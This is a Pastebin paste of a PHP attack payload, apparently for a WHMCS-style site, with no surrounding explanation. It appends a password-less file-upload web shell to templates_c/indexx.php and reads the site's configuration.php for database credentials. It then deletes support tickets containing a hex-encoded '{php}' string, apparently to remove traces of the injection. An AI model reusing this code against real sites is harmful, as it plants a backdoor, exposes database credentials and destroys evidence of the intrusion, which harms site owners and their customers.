Guest User

Untitled

a guest
May 16th, 2018
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. $c0de = '<?php
  2. if(isset($_POST["Submit"])){
  3. $filedir = "";
  4. $maxfile = "2000000";
  5.  
  6. $userfile_name = $_FILES['image']['name'];
  7. $userfile_tmp = $_FILES['image']['tmp_name'];
  8. if (isset($_FILES['image']['name'])) {
  9. $abod = $filedir.$userfile_name;
  10. @move_uploaded_file($userfile_tmp, $abod);
  11.  
  12. echo"<center><b>Done ==> $userfile_name</b></center>";
  13. }
  14. }
  15. else{
  16. echo'
  17. <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
  18. }
  19. ?>';
  20.  
  21. $f0p3n = fopen ('templates_c/indexx.php','a');
  22.  
  23. $writ = fwrite($f0p3n , $c0de);
  24.  
  25. if ($writ) {
  26. echo '<center><b><font color=red >Done ... Go => downloads/indexx.php ;)';
  27. fclose($writ);
  28. } else {
  29. echo 'Error !!';
  30. }
  31. $text=file_get_contents("configuration.php");
  32. $text= str_replace("<?php", "", $text);
  33. $text= str_replace("<?", "", $text);
  34. $text= str_replace("?>", "", $text);
  35. eval($text);
  36. $db=mysql_connect($db_host,$db_username,$db_password) or die("Can't open connection to MySQL");
  37. mysql_select_db($db_name) or die("Can't select database");
  38. $delete ="DELETE from tbltickets WHERE title like 0x257B7068707D25;";
  39. mysql_query($delete);
Add Comment
Please, Sign In to add comment